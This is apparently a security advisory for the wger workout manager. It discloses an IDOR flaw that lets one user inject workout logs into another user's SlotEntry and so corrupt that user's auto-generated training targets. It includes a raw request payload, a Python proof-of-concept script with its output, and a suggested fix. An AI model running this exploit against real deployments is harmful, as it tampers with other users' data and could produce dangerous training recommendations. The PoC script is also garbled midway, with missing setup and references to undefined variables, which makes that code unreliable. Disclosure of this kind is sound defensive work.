wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.get_owner_objects() returns:
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
return [(Routine, 'routine'), (WorkoutSession, 'session')]
# ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
# (SlotEntry, 'slot_entry') is MISSING
Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).
The second contributing factor is in SlotEntry.get_config_data():
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
- Two authenticated user accounts (attacker and victim)
- The attacker knows (or can enumerate) the victim's
SlotEntryID - The attacker has at least one
Routineof their own (to satisfy theroutineownership check)
Attack Steps
POST /api/v2/workoutlog/
Authorization: Token
Content-Type: application/json
{
"routine": ,
"slot_entry": ,
"exercise": ,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": "2025-01-15",
"iteration": 1
}
Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import json
from datetime import date, timedelta
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} ")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"
BANNER = """
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- 1. Authenticate both users ----
print("[1] Authenticating users...")
victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
sys.exit(1)
print(f" Victim ({VICTIM_USER}): token={victim_token[:16]}...")
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
print(f" Registering attacker account...")
r = requests.post(f"{API}/register/", json={
"username": ATTACKER_USER,
"password": ATTACKER_PASS,
})
if r.status_code in (200, 201):
attacker_token = r.json().get("token")
if not attacker_token:
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
sys.exit(1)
print(f" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")
# ---- 2. Create victim's routine chain ----
print("\n[2] Setting up victim's private routine chain...")
vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))
r = requests.post(f"{API}/routine/", headers=vh, json={
"name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f" Routine id={victim_routine_id}")
r = requests.post(f"{API}/day/", headers=vh, json={
"routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f" Day id={victim_day_id}")
r = requests.post(f"{API}/slot/", headers=vh, json={
"day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f" Slot id={victim_slot_id}")
r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]
r = requests.post(f"{API}/slot-entry/", headers=vh, json={
"slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f" SlotEntry id={victim_slot_entry_id} NOT CHECKED)")
print(f" weight = 999")
print(f" reps = 999")
r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)
print(f"\n Response: HTTP {r.status_code}")
if r.status_code == 201:
d = r.json()
print(f" Created WorkoutLog id={d['id']}")
print(f" slot_entry = {d['slot_entry']} corrupting auto-progression. |
+----------------------------------------------------------+
""")
Proof of Concept Output
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
[1] Authenticating users...
Victim (admin): token=7e34da0a3f3f00a4...
Registering attacker account...
Attacker (attacker_idor_poc): token=8a70d2881b656c18...
[2] Setting up victim's private routine chain...
Routine id=3
Day id=2
Slot id=2
SlotEntry id=2 NOT CHECKED)
weight = 999
reps = 999
Response: HTTP 201
Created WorkoutLog id=2
slot_entry = 2 corrupting auto-progression. |
+----------------------------------------------------------+
Impact
-
Training Data Integrity: The progressive-overload engine (
get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker settingweight=999orrepetitions=0can produce dangerous or nonsensical training recommendations. -
Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.
-
Scalable Attack: Because only a
slot_entryID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.
Fix
Primary Fix - Add slot_entry to the ownership check
# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
def get_owner_objects(self):
return [
(Routine, 'routine'),
(WorkoutSession, 'session'),
(SlotEntry, 'slot_entry'), # ADD THIS
]
Defence-in-Depth - Filter logs by routine owner
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
user=self.slot.day.routine.user
))